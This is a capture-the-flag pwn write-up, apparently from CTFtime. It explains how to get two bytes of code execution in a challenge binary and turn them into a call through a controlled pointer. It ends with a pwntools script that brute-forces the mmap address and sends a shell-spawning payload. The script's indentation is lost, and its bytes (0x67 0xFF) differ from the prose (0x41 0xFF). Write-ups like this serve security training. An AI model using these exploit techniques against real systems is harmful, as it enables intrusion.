Tags: pwn 

Rating: 5.0

Solved & written up by monocleus

## Challenge description

The challenge's binary is very similar to no-eeeeeeeeeemoji from Dragon Sector CTF 2020 ( https://ctftime.org/task/14011 ).

For those who didn't play that CTF, the binary presents with a menu of three choices:

(b)eer - Generates a random address, allocates a RWX page via mmap() and saves it to a global variable
(h)orse - Uses the allocated RWX map in the following way:

* Take 0x1000 bytes from user
* Overwrite parts of it with character 'A', with the final layout being the following:
* 0x0 - 0x100: User-controlled
* 0x100 - 0x200: 'A' filler
* 0x200 - 0x202: User-controlled
- 0x202 - 0x23E: Program Shellcode #2 ( provided by the binary ).
- 0x23E - 0x300: 'A' filler
- 0x300 - 0x400: User controlled
- 0x400 - 0x413: Program Shellcode #1 ( also provided by the binary )
- 0x413 - 0x1000: User controlled

Then, execution gets passed to Program Shellcode #1 which overwrites 0x10000 bytes on stack and overwrites all registers other than RSP and RIP with 0xDEADBEEFDEADBEEF. Then, execution gets passed to code at 0x200 - providing you with two-bytes worth of code execution, followed by the shellcode consisting of mostly NOPs, followed by two syscalls:
* write(1, buf, 0x26)
* exit()

## Binary patches

The binary is, however, patched at several places:

1) The VDSO cannot be leaked anymore as puts() gets nopped out
2) The function that generates random rwx page has been simplified ( no transformation of rand() result other than shifting it 12 bits left ) and removing the < 0x10000 check. This effectively makes the function return mmaps equal to rand() << 12
3) The first syscall ( write ) out of Program Shellcode #2 gets patched out.

This makes the attack described in previous writeup impractical.

## Solution

Again, the major problem here is the very constrained environment - only two bytes space for code execution, all registers are nuked, and stack is full of 0x4141414141414141 ( 'AAAAAAAA') entries.

Our solution here was to take advantage of the following NOP bytes, by using 0x41 0xFF.
This in turn will concatenate with NOPs into a 0x41 0xFF 0x90 0x90 0x90 0x90 0x90 - **call qword ptr ds:[eax-0x6F6F6F70]**

Recall that RAX = 0xDEADBEEFDEADBEEF, which means eax = 0xDEADBEEF. 0xDEADBEEF - 0x6F6F6F70 = 0x6F3E4F7F, which means that assuming we can control 0x6F3E4F7F ( which we can - 0xF7F is not an offset overwritten by the 'A' ), we can call into an arbitrary location and gain comfortable code execution.

So, the plan was as follows:
* Bruteforce the mmap until we gain a mmap at 0x6F3E4000
* Write at 0x6F3E4F7F - 0x6F3E4000
* Write our shellcode at 0x6F3E4000

Doing so will net you code execution and ability to get the flag:

from pwn import *

def choose_from_menu(choice):
io.sendlineafter('beer\n\n', choice)

def beer():
address = io.recvline()[:-1]
if address == "(nil)":
return_address = 0
return_address = int(address,16)
return return_address

io = remote('',65432)
l = log.progress('brutforcing mmap: ')
while True:
mmap = beer()
if mmap == 0x6F3E4000:
info('mmap: {}'.format(hex(mmap)))

payload = asm(shellcraft.amd64.sh(),arch='amd64')
#Pad to 0x200
payload += '\xaa' * (512 - len(payload))
#call qword ptr ds:[eax-0x...]
payload += '\x67\xFF'
#Pad to 0xF7F
payload += '\xaa' * (3967 - len(payload))
#Read address for qword trampoline
payload += '\x00\x40\x3E\x6F\x00\x00\x00\x00'
#Pad to 0x1000
payload += '\xaa' * (4096 - len(payload))
l = log.progress("Sending payload..")
io.sendlineafter('gib:\n', payload)
l.success("Sent payload.")


Original writeup (https://rentry.co/722yq).